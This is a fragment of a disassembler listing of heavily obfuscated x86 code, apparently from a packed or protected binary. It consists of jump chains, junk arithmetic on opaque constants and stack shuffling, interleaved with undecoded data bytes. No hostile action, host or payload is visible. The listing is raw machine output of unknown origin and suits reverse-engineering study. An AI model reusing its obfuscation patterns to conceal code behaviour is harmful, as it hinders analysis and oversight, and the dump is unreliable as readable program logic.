--------------------------------------------------------------------------- loc_549E08: ; CODE XREF: sub_542C3C+BC95j add ecx, edi add ecx, 77F23D1Ah add ecx, 637710EEh sub ecx, 24677DA6h push [esp+0Ch+var_C] pop edi jmp loc_54C251 ; --------------------------------------------------------------------------- db 81h, 0E3h, 0EDh dd 8173A62Ch, 0FC3F11C3h, 878AE920h, 0C1450000h, 0DFE907E5h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549E3F: ; CODE XREF: sub_542C3C+F7B4j shr eax, 0Ch xor eax, ecx push eax xor [esp+10h+var_10], eax xor eax, [esp+10h+var_10] xor [esp+10h+var_10], eax xchg eax, ebx jmp loc_54C90E ; --------------------------------------------------------------------------- dd 240CD366h, 0CE1CE99Ch, 0C87FFFFh, 6E3FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549E66: ; CODE XREF: sub_542C3C+8F80j mov [esp+10h+var_10], esp push ecx mov ecx, 4 add [esp+14h+var_10], ecx mov ecx, [esp+14h+var_14] add esp, 4 pop esi push 5CDh mov [esp+10h+var_10], ebp mov ebp, 317F7E4Bh not ebp push eax mov eax, 22E621C1h xor ebp, eax jmp loc_548DE2 ; --------------------------------------------------------------------------- db 81h, 0EBh, 81h dd 1496B18h, 2A51E9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549EA6: ; CODE XREF: sub_542C3C+AA7Bj pop edx push edx mov edx, 4 add esi, edx pop edx push esi push [esp+14h+var_10] pop esi pop [esp+14h+var_14] pop esp push edi push esp pop edi add edi, 4 push edx jmp loc_547C19 ; --------------------------------------------------------------------------- db 31h, 4, 24h dd offset dword_457444+360A5h db 0 ; --------------------------------------------------------------------------- loc_549ED1: ; CODE XREF: sub_542C3C+924Ej sub esp, 4 jmp loc_54ED28 ; --------------------------------------------------------------------------- loc_549ED9: ; CODE XREF: sub_542C3C+5FBEj mov [esp+34h+var_34], ebx push 65AC0EAFh pop ebx jmp loc_5498E5 ; --------------------------------------------------------------------------- loc_549EE7: ; CODE XREF: sub_542C3C+AEF7j pop esp or edx, eax shl edx, 1 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+34h+var_34] mov esp, [esp+34h+var_34] mov [esp+34h+var_34], edx mov edx, 578D746Dh sub edx, 5C050DE0h shl edx, 7 xor edx, 476C5FCEh add edx, 7CA0E6B3h push eax mov eax, 24h push edx mov edx, 55AB7DD7h sub edx, 0DFDD6952h add eax, edx jmp loc_54C9A9 ; --------------------------------------------------------------------------- db 87h dd 0C2E92404h, 4000018h, 0FD5FE9A2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549F46: ; CODE XREF: sub_542C3C+B107j mov edx, [esp+3Ch+var_3C] add esp, 4 pop eax push ebp mov ebp, 65B06C94h push eax push ebx push edi push 6BEF5DA5h pop edi inc edi jmp loc_54F1CC ; --------------------------------------------------------------------------- aAaAa db '€íÊ€íË',0 dd 0CBC580E5h, 0E9CAC580h, 0FFFFE093h ; --------------------------------------------------------------------------- loc_549F78: ; CODE XREF: sub_542C3C+FF27j push edi jmp loc_54AE14 ; --------------------------------------------------------------------------- aYssg db 'Yé˜g',0 align 4 dd 42474FFh, 83241C8Bh, 48F04C4h, 24248B24h, 24048B66h dd 5DE568h, 240C8900h, 0FFF2C1E9h, 24048BFFh, 5DDA6851h dd 24890000h, 24048324h, 8997E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549FBA: ; CODE XREF: sub_542C3C+47B3j xor ebp, eax pop eax and ecx, ebp pop ebp shr ecx, 7 push dword ptr [edi+1Ch] mov eax, [esp+1Ch+var_1C] push 4E22h mov [esp+20h+var_20], eax push esp jmp loc_546D6C ; --------------------------------------------------------------------------- db 0B5h dd 1EED8083h, 8059EA88h, 0B252D3EAh, 4051E973h, 8B660000h dd 0C9682404h, 8900003Dh, 0E389241Ch, 4EC9BD55h, 0D5F715A1h dd 81454545h, 5EB13DF5h, 8BEB01EAh, 0C483242Ch, 3AFD6804h dd 34890000h, 26824h, 815E0000h, 0B3980EBh, 81F30131h dd 0B3980C3h, 3A2DE931h, 24890000h, 24048324h, 0BB535D04h dd 383533EFh, 33EBF381h, 0DD013835h, 4EC835Bh, 68243C89h dd 2, 5FFD015Fh, 223EE9h, 59CF2800h, 0F8288604h, 2C5B862Ch dd 4D028C2h, 473BE9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A072: ; CODE XREF: sub_542C3C+EAC6j push ecx mov ecx, 34CE03D6h xor edi, ecx pop ecx inc edi neg edi push edi not [esp+28h+var_28] mov edi, [esp+28h+var_28] add esp, 4 xor edi, 49DA2190h add ecx, edi pop edi add ecx, 4 xchg ecx, [esp+20h+var_20] pop esp sub eax, 6D2028ECh push dword ptr [edi+eax*4] push [esp+20h+var_20] pop eax push 3C76h jmp loc_54B913 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aYs0 db 'YéÔ0',0 align 2 aN1Szu db '1Øé‡U',0 align 2 loc_54A0C2: ; CODE XREF: sub_542C3C+E34Bj mov edi, 4 add eax, edi mov edi, [esp+24h+var_24] add esp, 4 jmp loc_548001 ; --------------------------------------------------------------------------- db 1 aQbIlPs1 db 'ïÇÝ',0Bh,')I‹,$Pé>1',0 align 4 dd 50DF8957h, 5B14E9h, 0D9EB8000h, 6D12E9h, 0FA840F00h dd 68FFFFF3h, 1526h, 0E9241C89h, 529Dh, 4B8h, 0D9685600h dd 0E97A4B1Eh, 1705h ; --------------------------------------------------------------------------- loc_54A11C: ; CODE XREF: sub_542C3C+FE47j add ebx, 4 push ebx push [esp+24h+var_20] pop ebx jmp loc_548FC5 ; --------------------------------------------------------------------------- dw 0FA89h dd 2A3CE9h db 0 ; --------------------------------------------------------------------------- loc_54A131: ; CODE XREF: sub_542C3C+10421j add esi, edi mov edi, [esp+24h+var_24] add esp, 4 and eax, esi pop esi or eax, eax jz loc_55096B push dword ptr [edi+1Ch] xor [esp+20h+var_20], 738B2809h jmp loc_551F51 ; --------------------------------------------------------------------------- dw 0EE81h dd 2D745138h, 0C681D601h, 2D745138h, 3364EE81h, 815A09D6h dd 4EEh, 24348700h, 3B16E9h, 24048B00h, 49AAE952h, 4AFF0000h dd 209E6838h, 0C890000h, 0BD555624h, 14227F4Ah, 3C283ABEh dd 5DEE3125h, 45EBEE81h, 0F68106E9h, 3E8578B5h, 815EF189h dd 925BF1E9h, 0E685678h, 5E2AC960h, 0C4BA524Eh, 0E962C134h dd 42EFh, 3C8BFE29h, 4C48324h, 31243433h, 34332434h, 24248B24h dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFCA92h, 504268h dd 24148900h, 6FE99C50h, 5AFFFFE1h, 0DB3BF57h, 0E7C11369h dd 0E3C78104h, 1124886h, 25055FF8h, 0E9520921h, 3527h dd 24048B66h, 675A68h, 24048900h, 5653E089h, 0DB13E5BEh dd 0E9DEF746h, 0FFFFEFB5h, 8159CA01h, 0D63364C6h, 0FF18E909h dd 8B66FFFFh, 89562414h, 4C681E6h, 83000000h, 343302C6h dd 24343124h, 0E9243433h, 9EBh ; --------------------------------------------------------------------------- loc_54A25C: ; CODE XREF: sub_542C3C+10582j or eax, 767A2CACh xor eax, 2E324707h add eax, 0ABF7F84Ah add ebp, eax pop eax or ebp, 2116142Ch jmp loc_54B65C ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 8704E883h, 895C2404h, 0E9B62414h, 0FEFFC680h, 0BDE680CEh dd 8481E9h, 48F5400h, 4BB5324h, 1000000h, 0E904245Ch, 0FFFFE0BFh dd 33240C31h, 0C31240Ch, 4EC8124h, 89000000h, 0E789243Ch dd 7A7E9h, 24048900h, 4B8h, 68E98100h, 1159E31h, 0B85053C1h dd 52A66329h, 0C158C389h, 0EB8104EBh, 0EF8C34CAh, 1C8BD901h dd 4C48324h, 0EDBA5258h, 0F7631D0Ah, 1EA83D2h, 0FFD05DE9h dd 2C0604FFh, 0B25266F8h, 79DEE9B5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A30E: ; CODE XREF: sub_542C3C+4FCFj sub esp, 4 mov [esp+2Ch+var_2C], eax push esp pop eax add eax, 4 add eax, 4 xor eax, [esp+2Ch+var_2C] xor [esp+2Ch+var_2C], eax xor eax, [esp+2Ch+var_2C] pop esp jmp loc_546D38 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 476EC281h, 0E2C12255h, 97E28103h, 81413127h dd 5C0D79CAh, 0AAEA8165h, 81241404h, 6BC78FEAh, 5AD509F6h dd 71EBF581h, 39E95AFDh, 2800004Fh, 0FF93E9D8h, 34FFFFFFh dd 0E9515824h, 6391h ; --------------------------------------------------------------------------- loc_54A378: ; CODE XREF: sub_542C3C+104EEj sub eax, 0FD682ADDh jmp loc_546E7D ; --------------------------------------------------------------------------- loc_54A382: ; CODE XREF: sub_542C3C+F316j sub esp, 4 mov [esp+2Ch+var_2C], esi push edi mov edi, 0E4D02F5h push 490Dh mov [esp+34h+var_34], ecx mov ecx, 64B93D42h sub edi, ecx mov ecx, [esp+34h+var_34] jmp loc_55089B ; --------------------------------------------------------------------------- aLS_ db '‹<$é}_',0 align 10h dd 240C8B66h, 507A68h, 24148900h, 10CF68h, 24248900h, 4240483h dd 4BB535Ah, 56000000h, 7A43BF57h, 0FE890F37h, 5EF2015Fh dd 0EA81DA01h, 0F377A43h, 81241C8Bh, 4C4h, 2B95100h, 0E9000000h dd 65BCh, 83243C8Bh, 0C78104C4h, 4, 2C781h, 3C870000h dd 8B665C24h, 0EC83240Ch, 24048904h, 4FD0E954h, 0EC810000h dd 4, 0BE243489h, 4, 0CF03CD05h, 70A9E966h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A436: ; CODE XREF: sub_542C3C+D850j push [esp+34h+var_34] pop eax jmp loc_549B20 ; --------------------------------------------------------------------------- loc_54A43F: ; CODE XREF: sub_542C3C+5BD8j sub ebx, 999100D6h jmp loc_552EF7 ; --------------------------------------------------------------------------- loc_54A44A: ; CODE XREF: sub_542C3C+67B2j xchg ebx, [esp+3Ch+var_3C] mov esp, [esp+3Ch+var_3C] jmp loc_54EB74 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8124h, 0E9000000h, 10BEh, 875FF801h, 248B2404h, 71DE6824h dd 29E90000h, 0FF00000Eh, 5E042474h, 8B24048Fh, 8E92424h db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A487: ; CODE XREF: sub_542C3C+4F90j sub edi, 21110FC9h sub edi, ebx add edi, 21110FC9h mov ebx, [esp+30h+var_30] add esp, 4 and eax, edi mov edi, [esp+2Ch+var_2C] jmp loc_54D8EC ; --------------------------------------------------------------------------- dd 8304C483h, 2C8904ECh, 0DCCAE924h, 34FFFFFFh, 62FE924h dd 0DD280000h, 6D89E9h, 0E9F10100h, 2BB3h, 0C331D831h dd 5053D0F7h, 59B3E9h, 0E9895D00h, 0EE1E95Dh, 0E9810000h dd 0B51651C7h, 159CF89h, 7984E9D7h, 3C890000h, 0E3895324h dd 4C381h, 0EB810000h, 4, 5C241C87h, 24048F54h, 4240481h dd 8B000000h, 0C483243Ch, 0ECE4E904h, 1489FFFFh, 88CA8824h dd 24148B13h, 4C481h, 5B590000h, 0FFC745E9h, 243C33FFh dd 0FFD8A2E9h, 70E94AFFh, 8100006Fh, 0B66F17EAh, 0C944E902h dd 0E2C0FFFFh, 6C28003h, 416FE9h, 0B1C28100h, 4245302Eh dd 0FFFFC281h, 0D2F7FFFFh, 7A1C281h, 0D70157DCh, 9E7815Ah dd 0E9362D77h, 506h ; --------------------------------------------------------------------------- loc_54A57C: ; CODE XREF: sub_542C3C+A329j add ebp, 4 add ebp, 4 xchg ebp, [esp+2Ch+var_2C] pop esp push ebx mov ebx, esp jmp loc_54E793 ; --------------------------------------------------------------------------- aRphT db 'RPh',7,'T',0 align 4 dd 0FFD7AAE9h, 0E4E952FFh, 40FFFFE8h, 805D8F7h, 3539E356h dd 81387FBFh, 8158C101h, 706137C9h, 0E9D1F72Ah, 0FFFFCAA3h dd 0D0004FB2h, 32E95A66h, 0BF00003Ah, 4, 3E1AEB81h, 0C381070Fh dd 756C3E84h, 75E6E9h, 241C8B00h, 0E904C483h, 0FFFFDDDAh dd 24048B66h, 7183E955h, 14870000h, 0C5815C24h, 4, 2BB53h dd 0E9E90000h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A60B: ; CODE XREF: sub_542C3C+DC08j jnz loc_5496A2 push 1 push [esp+30h+var_30] mov edx, [esp+34h+var_34] push edx push 181h mov [esp+3Ch+var_3C], esp jmp loc_548409 ; --------------------------------------------------------------------------- dw 0C781h dd 107A26B3h, 0B951F729h, 107A26B3h, 6AA6E9h, 4B32BB00h dd 0BD552193h, 60F62983h, 6DE2E9h db 0 ; --------------------------------------------------------------------------- loc_54A64D: ; CODE XREF: sub_542C3C+DEF2j mov ebx, 80h and ecx, ebx push [esp+3Ch+var_3C] pop ebx push esi push esp pop esi add esi, 4 push ecx push 4 jmp loc_5524D9 ; --------------------------------------------------------------------------- loc_54A66C: ; CODE XREF: sub_542C3C+6F0Dj add esp, 4 mov ecx, [esp+28h+var_28] add esp, 4 push 3CD1h jmp loc_550370 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C2h dd 0EE489A3Ah, 15AD789h, 0D258E9F9h, 483FFFFh, 0E95B0424h dd 33EBh, 25B4BF57h, 55506A69h, 2F6F90BDh, 5DE88902h, 8302E8C1h dd 0E8C1FFE8h, 40D0F703h, 0B973CC05h, 32AA0550h, 1EE9009Fh db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A6CB: ; CODE XREF: sub_542C3C+A901j pop esi and eax, edi push [esp+24h+var_24] jmp loc_54E2AC ; --------------------------------------------------------------------------- dw 0EF81h dd 0F3576EB6h, 39E9FD01h, 89FFFFEFh, 0E2892414h, 43BEBF57h dd 0F7817460h, 746043BAh, 1A7EE9h, 4C48100h, 33000000h dd 4312404h, 24043324h, 1981E9h, 4C48100h, 0E9000000h dd 0FFFFD786h, 8924248Bh, 4832424h, 0D1E90424h, 53FFFFFCh dd 7C0BE9h, 0C8B6600h, 4EC8324h, 89241489h, 66B951E2h dd 0E9257C0Ah, 88C9h, 4C181h, 0EC810000h, 4, 0BE243489h dd 4, 14DCE9h, 7BC78100h, 8177320Ch, 0C81877F7h, 8BFB3140h dd 0C481243Ch, 4, 0FFE3F3E9h, 240489FFh, 0C4FE7EB4h, 0FFD1D3E9h dd 4AC680FFh, 805AF488h, 0E4C090E4h, 52CCFE04h, 8871B753h dd 0B5515BFAh, 0E9E5D048h, 23ECh, 5524048Bh, 85E95D54h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A7AF: ; CODE XREF: sub_542C3C+628Bj mov eax, [esp+3Ch+var_3C] push esi mov esi, esp jmp loc_54EA00 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 2C3FE9h, 24048100h, 4, 0E9240C8Bh, 0E39h dd 0F42CACh, 4EC81D8h, 89000000h, 79E92414h, 81000005h dd 6A4238F5h, 12C8E960h, 0B0500000h, 341F0473h, 0E9C3288Ah dd 7249h ; --------------------------------------------------------------------------- loc_54A800: ; CODE XREF: sub_542C3C+E4EEj push ebx mov ebx, 6A835A6Fh push edi mov edi, 6B8D3504h xor ebx, edi jmp loc_55255E ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 8704EF83h, 248B243Ch, 241C8924h, 0BE565B54h dd 4, 399FE9h, 31665F00h, 24048BC2h, 6604C483h, 2245401h dd 0FFF9F5E9h, 83F580FFh, 1AC280h, 0E4E9E9EAh, 0BF57FFFFh dd 148E29C5h, 3C8BFA31h, 4C48324h, 6F52BF57h, 0EF8172B3h dd 723B0BE7h, 0E902E7C1h, 86D1h ; --------------------------------------------------------------------------- loc_54A878: ; CODE XREF: sub_542C3C+C1C0j push [esp+48h+var_48] mov eax, [esp+4Ch+var_4C] add esp, 4 push 3CB8h jmp loc_54C220 ; --------------------------------------------------------------------------- dw 0CE87h dd 81CE8749h, 870236C6h, 5EF10107h, 0E9240C87h, 561Fh dd 4C481h, 67E90000h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A8AF: ; CODE XREF: sub_542C3C+CFEFj mov [esp+4Ch+var_4C], ecx jmp loc_5522A1 ; --------------------------------------------------------------------------- db 53h dd 0FFDB02E9h, 5AD321FFh, 8105EBC1h, 290077EBh, 5BDA310Ah dd 875AD501h, 3FE9242Ch, 66FFFFD4h, 66695C68h, 66240C89h dd 66C8B60Fh, 8FE99C51h, 83FFFFC3h, 48F04C4h, 24248B24h dd 9C240CFFh, 7E2AE9h, 5AD00000h, 0FFF1A9E9h, 3C5C68FFh dd 4890000h, 3DDE924h, 0BF570000h, 4F593129h, 52100968h dd 0FD015D20h, 5DE9015Fh, 2C1835Fh, 31240C33h, 0C33240Ch dd 0F9F65C24h, 0CCB60F66h, 78B368h, 241C8900h, 0BE56E389h dd 714B4719h, 1C3DE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A94E: ; CODE XREF: sub_542C3C+4049j sub dh, bh pop ebx shr dh, 4 not dh jmp loc_54F997 ; --------------------------------------------------------------------------- loc_54A95B: ; CODE XREF: sub_542C3C+B67Aj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+30h+var_30] pop esp mov [esp+2Ch+var_2C], eax push esi push [esp+30h+var_2C] pop esi pop [esp+30h+var_30] xchg eax, esi jmp loc_54F531 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 0FFE2E5E9h, 81D901FFh, 1C5C3BE9h, 2EC18144h dd 0FF139B4Bh, 1C8B2434h, 4C48124h, 81000000h, 4C4h, 4C18300h dd 2474FF51h, 1047E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A9BA: ; CODE XREF: sub_542C3C+BAD7j xor edx, 3F6F6420h add esi, edx pop edx sub esi, 4 jmp loc_5521C1 ; --------------------------------------------------------------------------- dw 0BE56h dd 18EA1AB5h, 15E54FBAh, 8BF201E7h, 0C4812434h, 4, 230FEE81h dd 0D6017E56h, 230FC681h, 148B7E56h, 4C48324h, 0E9243487h dd 0FFFFE68Eh, 13A2C181h, 48B522Dh, 0D263E924h, 3B05FFFFh dd 29587270h, 3BBF57C8h, 29587270h, 1595FF8h, 0E9E958C2h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AA27: ; CODE XREF: sub_542C3C+4101j mov [esp+34h+var_34], edi jmp loc_54EEF3 ; --------------------------------------------------------------------------- db 88h dd 0FB5BE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AA36: ; CODE XREF: sub_542C3C+8609j add ebx, esi pop esi xchg ebx, [esp+30h+var_30] pop esp shr ecx, 6 push 1775h mov [esp+30h+var_30], edi jmp loc_54ED57 ; --------------------------------------------------------------------------- db 80h, 0F5h, 9Bh dd 0D3B35366h, 2EE9D828h, 66FFFFCBh, 83240C8Bh, 48904ECh dd 0E9585424h, 7587h, 8904EC83h, 0FFB82404h, 521FC946h dd 0ED0E34BAh, 41E1E93Ch, 0F7810000h, 27BA0831h, 505FFA89h dd 0D35BD55h, 0E88927B6h, 58C2295Dh, 148BD701h, 4C48124h dd 50000000h, 4B8h, 0E9C70100h, 6ECh, 3513F381h, 814315F3h dd 42E98AC3h, 0E9DF8908h, 0FFFFDC1Ah, 2A00C781h, 0F9E9F838h dd 81000004h, 4C4h, 0BB535100h, 4, 219B68h, 241C8900h dd 0CA015B59h, 0FFD894E9h, 2434FFFFh, 8124048Bh, 4C4h dd 0E2895200h, 4C281h, 0EA810000h, 4, 5C241487h, 89241C89h dd 5C9DE9E3h, 68500000h, 4A9Fh, 55243C89h, 0F64DABBDh dd 0DDF74555h, 136AE9h, 67ED8000h, 2059EF88h, 0ABE95BFDh dd 2D00001Ch, 29634563h, 1118AD2Dh, 5D02959h, 591118ADh dd 63456305h, 83B8E929h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AB56: ; CODE XREF: sub_542C3C+9348j push 60Eh mov [esp+34h+var_34], edx push esp pop edx push edi mov edi, 0A57E8Fh and edi, 49FE1DE9h shr edi, 7 and edi, 5BD700A7h xor edi, 7E802EA0h add edi, 817ED183h add edx, edi pop edi sub esp, 4 mov [esp+38h+var_38], ebx push ebp mov ebp, 194D365Fh jmp loc_549239 ; --------------------------------------------------------------------------- dd 8324148Bh, 1C8904ECh, 0E9E38924h, 84C2h, 585DE95Ah dd 4890000h, 27506824h, 2C890000h, 1185BD24h, 0E5B84E89h dd 31012B4Bh, 242C8BE8h, 2904C483h, 2434FFC3h, 582434FFh dd 4C481h, 0C4810000h, 4, 0EC81C329h, 4, 0B9240C89h, 4FA25A60h dd 0E959CB01h, 14A3h, 8103EDC1h, 748732F5h, 5DEB8950h dd 4245C29h, 0E9241C8Bh, 16A2h, 86CF8853h, 86D9F6CFh, 5BF988CFh dd 14F65166h, 80596624h, 9E961F1h, 0BE000078h, 122A118Ch dd 1188EE81h, 7401122Ah, 0E95E0424h, 1520h, 0C1E9F889h dd 5CFFFFC7h, 0FFC02DE9h, 0AF840FFFh, 68000079h, 2078h dd 5A00E954h, 0C8B0000h, 4C48324h, 17536850h, 8F540000h dd 64E92404h, 89000010h, 61FFE9C3h, 0E5890000h, 2142E9h db 0 ; --------------------------------------------------------------------------- loc_54AC81: ; CODE XREF: sub_542C3C+A38Dj xor eax, 2A024AAFh mov ebp, eax pop eax not ebp inc ebp dec ebp not ebp sub ebp, 5E9284Ah sub esi, 14FC7FFEh sub esi, 297E5076h jmp loc_54F2F1 ; --------------------------------------------------------------------------- loc_54ACA6: ; CODE XREF: sub_542C3C+D42Cj mov edi, [esp+38h+var_38] add esp, 4 jmp loc_5488CC ; --------------------------------------------------------------------------- aZS4 db '‡<$\é{4',0 align 2 dw 7C01h dd 3C8B0424h, 1838E924h, 0E9550000h, 6E82h ; --------------------------------------------------------------------------- loc_54ACCC: ; CODE XREF: sub_542C3C+4422j add esp, 4 jmp loc_5493CD ; --------------------------------------------------------------------------- dd 0E904EC83h, 47D6h, 11F5815Dh, 0E94E971Ch, 0FFFFECE2h dd 57E9DF31h, 54000015h, 3A2BE9h, 28B4B100h, 45966CFh dd 53F800F0h, 0E3C006B3h, 1BF38005h, 0FFD964E9h, 0A3E95BFFh dd 5B000053h, 0B0505166h, 5E8C0DDh, 0BD24FA0Ch, 0D2349224h dd 0E9C38853h, 1AAAh ; --------------------------------------------------------------------------- loc_54AD2C: ; CODE XREF: sub_542C3C+4E2Aj xor ecx, esi push [esp+30h+var_30] pop esi jmp loc_54F9AA ; --------------------------------------------------------------------------- db 1 dd 0B6C181C1h, 8129AB01h, 452319E9h, 0BB535814h, 73887820h dd 7520EB81h, 0F381107Fh, 63090304h, 0E95BD901h, 0FFFFD01Ch dd 0BAE90EB6h, 66FFFFCFh, 0BF66575Fh, 0F7664394h, 0EF8166D7h dd 31665FC0h, 0D1665FFEh, 505166E6h, 0FEEB866h, 2096E9h db 0 ; --------------------------------------------------------------------------- loc_54AD89: ; CODE XREF: sub_542C3C+B234j neg eax sub eax, 843C840h add esi, eax pop eax pop ebp sub esi, 0FEF8427Ch and ebx, esi push [esp+28h+var_28] pop esi add esp, 4 jmp loc_5514C3 ; --------------------------------------------------------------------------- loc_54ADA8: ; CODE XREF: sub_542C3C+898Dj mov eax, 36643B7Eh mov esi, 4E8A76A7h jmp loc_54FC62 ; --------------------------------------------------------------------------- loc_54ADB7: ; CODE XREF: sub_542C3C+F7C7j sub ch, bl jmp loc_549503 ; --------------------------------------------------------------------------- dw 8B66h dd 3CE9240Ch, 3000006Ah, 9B75BFDh, 2878EF80h, 2490E9EFh dd 1C890000h, 7B29BB24h, 7CE97C2Fh db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ADE3: ; CODE XREF: sub_542C3C+FD8Cj pop esp mov [esp+20h+var_20], esi push 2005h mov [esp+24h+var_24], ebp mov ebp, 5C81750Eh mov esi, ebp jmp loc_55118F ; --------------------------------------------------------------------------- db 0F6h dd 80C5FED5h, 0EE3014F5h, 592434FFh, 4C481h, 0E9530000h dd 2DE2h ; --------------------------------------------------------------------------- loc_54AE14: ; CODE XREF: sub_542C3C+733Dj mov edi, esp add edi, 4 push ebx jmp loc_547FE8 ; --------------------------------------------------------------------------- dw 5Ch dd 0E99C2404h, 0FFFFBE4Eh, 5585450h, 4, 405h, 24048700h dd 0FFF8305Ch, 835B2434h, 0B25204C4h, 22E4E91Ah, 2C310000h dd 242C3324h, 0BB0F665Ch, 0E99C2404h, 0FFFFBE1Ah, 0C8BE830h dd 4C48124h, 80000000h, 0EB8057EBh, 4EEB802Fh, 717E9h db 0 ; --------------------------------------------------------------------------- loc_54AE79: ; CODE XREF: sub_542C3C+951Fj jz loc_54D971 sub esp, 4 jmp loc_54EE64 ; --------------------------------------------------------------------------- aXzS04 db 'X‡,$\é04',0 dd 1E98300h, 0FB04C181h, 4BE908C4h, 8B00001Ah, 0C4832414h dd 4C18104h, 33000000h, 0C31240Ch, 240C3324h, 6856525Ch dd 190E5835h, 0D1E6815Eh, 87363736h, 0E9D7F7FEh, 6C71h ; --------------------------------------------------------------------------- loc_54AECC: ; CODE XREF: sub_542C3C+B325j neg ebx sub ebx, 3CE612D4h add ebx, 873B5DD8h add edi, ebx pop ebx jmp loc_54883D ; --------------------------------------------------------------------------- dw 2BEh dd 1000000h, 2BAEE9F0h, 875B0000h, 895C2434h, 0F2E9240Ch dd 5DFFFFD2h, 3566E9h, 241CF600h, 0BD70E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AF0A: ; CODE XREF: sub_542C3C+5DACj pop eax jmp loc_54B716 ; --------------------------------------------------------------------------- dd 3C32C581h, 0FD013610h, 3C32ED81h, 0D9E93610h, 80FFFFC9h dd 0F588FCEEh, 0D9E9525Ah db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AF2F: ; CODE XREF: sub_542C3C+4D89j sub edx, 392CEE40h add edx, 9A3CD53h add ecx, 79472EBFh sub ecx, edx sub ecx, 79472EBFh pop edx add eax, 2EC75C1Ch add eax, 4D4C606Fh add eax, ecx jmp loc_54F127 ; --------------------------------------------------------------------------- db 83h dd 0FF5004C0h, 58042474h, 8B24048Fh, 0C8852424h, 0E5B2E99Ch dd 0C781FFFFh, 3B792C93h, 0EFD1D7F7h, 3EE3C781h, 0DFF7677Bh dd 0C2B2E955h, 0FCBDFFFFh, 89634B09h, 0CA7CE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AF96: ; CODE XREF: sub_542C3C+F1F5j mov [esp+28h+var_28], ecx push edi mov edi, 67BC300Ah inc edi xor edi, 147A3231h shl edi, 8 push 1677h mov [esp+30h+var_30], edi not [esp+30h+var_30] jmp loc_54DF22 ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 35h dd 8321A86h, 0E958C721h, 92Ch, 95FFE89h, 0CD355EF0h, 0E971B36Fh dd 0FFFFFC9Bh ; --------------------------------------------------------------------------- loc_54AFD8: ; CODE XREF: sub_542C3C+ABD6j add ebx, edi jmp loc_546E68 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 240C8704h, 6624248Bh, 0E99CC885h, 70Eh dd 63685155h, 5901BA78h, 7E4DF181h, 0CD896F76h, 60816859h dd 1C890000h, 0C4AE924h, 0C4810000h, 4, 8904EC83h, 71682404h dd 5400003Fh, 37FE9h, 11C38100h, 8302A621h, 348904ECh dd 75EBE24h, 0C6814142h, 0DC83FB52h, 33E9F329h, 81FFFFC0h dd 4C3h, 241C8700h, 0E924248Bh, 7B23h, 348B5456h, 25ECE924h dd 0C15D0000h, 6807EDh, 0E9000000h, 3C11h ; --------------------------------------------------------------------------- loc_54B070: ; CODE XREF: sub_542C3C+A746j mov [esp+30h+var_30], edx push 7D19h jmp loc_54E08E ; --------------------------------------------------------------------------- db 68h, 8Ah, 3Fh dd 24890000h, 4BB5324h, 81000000h, 9D04246Ch, 17C2F61h dd 8104245Ch, 9D042444h, 5B7C2F61h, 4C3815Bh, 0E9000000h dd 76D9h, 5608E1C1h, 0D14E00BEh, 71EE8109h, 5046625Ch dd 0F67186B8h, 0E9D8F773h, 324Fh, 2E4DEA81h, 0F201112Bh dd 5379B850h, 0D8F71642h, 0FFDC02E9h, 0E955B2FFh, 0FFFFE382h dd 0D224248Bh, 0E99C243Ch, 0FFFFBB8Ah, 0C381E389h, 4, 4EB81h dd 0FF530000h, 5B042474h, 5C24048Fh, 68241C89h, 0DA0h dd 81242489h, 42404h, 38E90000h, 5E000056h, 4EB168h, 24048900h dd 0AC0B68B8h, 0F471E977h, 43E9FFFFh, 0E9FFFFBBh, 0FFFFBB3Eh dd 75298768h, 81435B55h, 455A67EBh, 8FC3814Eh, 8911F133h dd 814D5BDDh, 604652F5h, 94ED8178h, 8972A15Fh, 0BE95DEFh dd 38h, 0C1805AD1h, 148B668Bh, 2C48324h, 0C180C1FEh, 0AAE98010h dd 34FFC830h, 0C4835924h, 0B6526604h, 66F03008h, 6824148Bh dd 7AC2h, 0E9240C89h, 0FFFFD12Ch, 243C8758h, 555AE9h, 7F2D4800h dd 0E93D3053h, 7C27h, 0C8BCE01h, 4C48324h, 2474FF56h, 19E2E904h dd 0C2810000h, 4, 4EA81h, 9CE90000h, 8900000Fh, 722EE9C5h dd 0EA830000h, 24148704h, 2434895Ch, 0C681E689h, 4, 0FFCE45E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B1F1: ; CODE XREF: sub_542C3C+F6E1j push [esp+34h+var_34] mov ebp, [esp+38h+var_38] add esp, 4 add esp, 4 jmp loc_5501FB ; --------------------------------------------------------------------------- 